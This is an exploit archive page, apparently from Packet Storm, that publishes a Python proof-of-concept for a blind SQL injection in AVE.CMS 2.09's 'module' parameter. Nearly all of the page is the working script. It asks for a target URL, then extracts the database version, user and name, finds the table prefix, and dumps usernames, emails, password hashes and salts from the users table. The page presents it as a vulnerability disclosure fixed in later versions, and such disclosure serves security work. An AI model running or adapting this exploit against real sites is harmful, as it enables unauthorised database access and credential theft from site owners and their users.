exploit the possibilities

AVE.CMS 2.09 Blind SQL Injection

AVE.CMS 2.09 Blind SQL Injection
Posted May 23, 2013
Authored by mr.pr0n | Site overdoze.ru

AVE.CMS versions less than 2.09 suffer from a remote blind SQL injection vulnerability in the "module" parameter. This is a proof of concept exploit. This issue is addressed in later versions.

tags | exploit, remote, sql injection, proof of concept
MD5 | 0315982b1ccf89c5cfeb0adfb6c968c3

AVE.CMS 2.09 Blind SQL Injection

Change Mirror Download
#!/usr/bin/env python

import urllib, sys, time

#######################################################################################
# Exploit Title: AVE.CMS <= 2.09 - Remote Blind SQL Injection Exploit
# Date: 23/05/2013
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/
# Vendor Homepage: http://www.overdoze.ru/
# Software Link: websvn.avecms.ru/listing.php?repname=AVE.cms+2.09
# Version: V2.09 and 2.09RC2
# Tested on: Linux Debian 2.6.32-5-686
# Description: The "module" parameter is vulnerable to Blind SQL Injection.
# Solution : Update to newest version.
#######################################################################################

print "+----------------------------------------------------------+"
print "| AVE.CMS <= 2.09 - Remote Blind SQL Injection Exploit |"
print "| mr.pr0n - http://ghostinthelab.wordpress.com |"
print "+----------------------------------------------------------+"

##
GREEN = '\033[32m'
RESET = '\033[0;0m'
##

########
true = "404"
min = 32
max = 127
num_of_ltr = 50
########

url = raw_input("\nEnter the address of the target AVE.CMS\n> ")
if url[:7] != "http://":
url = "http://" + url + "/index.php?module="
else:
url = url + "/index.php?module="

database = []
options = {'Version':'VERSION', 'User':'CURRENT_USER', 'Database':'DATABASE'}
sys.stdout.write("[+] Checking target... (please wait)...")
for element in options:
sys.stdout.write("\n [!] Database "+element+" : ")
for letter in range(1, num_of_ltr):
for i in range(min, max):
query = "-1%00' OR ORD(MID(("+options[element]+"()),"+str(letter)+",1))>"+str(i)+"#"
target = url + query
result = urllib.urlopen(target).read()
if result.find(true) != -1:
if options[element] == "DATABASE":
database.append(chr(i))
sys.stdout.write(GREEN+chr(i)+RESET)
sys.stdout.flush()
break
time.sleep(1)
database = [i for i in database if i != ' ']
database = ''.join(database)
hexdatabase = database.encode("hex")

prefix = []
sys.stdout.write("\n[+] Checking for (random) Table Prefix... (please wait)... ")
sys.stdout.write("\n [!] Table Prefix (for '"+GREEN+database+RESET+"' database) : ")
for letter in range(1, num_of_ltr):
for letter2 in range(1, 7):
for i in range(min, max):
query = "-1%00' OR ORD(MID((SELECT CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x"+hexdatabase+" LIMIT "+str(letter)+",1),"+str(letter2)+",1))>"+str(i)+"#"
target = url + query
result = urllib.urlopen(target).read()
if result.find(true) != -1:
prefix.append(chr(i))
sys.stdout.write(GREEN+chr(i)+RESET)
sys.stdout.flush()
break
time.sleep(1)
break
prefix = [i for i in prefix if i != ' ']
prefix = ''.join(prefix)

columns = {'Password':'password','Email':'email','Username':'user_name','Salt':'salt'}
sys.stdout.write("\n[+] Dumping '"+GREEN+prefix+"users"+RESET+"' table... (please wait)...")
for element in columns:
sys.stdout.write("\n [!] Column : "+element+" : ")
for letter in range(1, num_of_ltr):
for i in range(min, max):
query = "-1%00' OR ORD(MID((SELECT CONCAT("+columns[element]+") FROM "+database+"."+prefix+"users ORDER BY Id LIMIT 0,1),"+str(letter)+",1))>"+str(i)+"#"
target = url + query
result = urllib.urlopen(target).read()
if result.find(true) != -1:
sys.stdout.write(GREEN+chr(i)+RESET)
sys.stdout.flush()
break
time.sleep(1)

sys.stdout.write("\n[+] End of POC...\n")
#eof

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close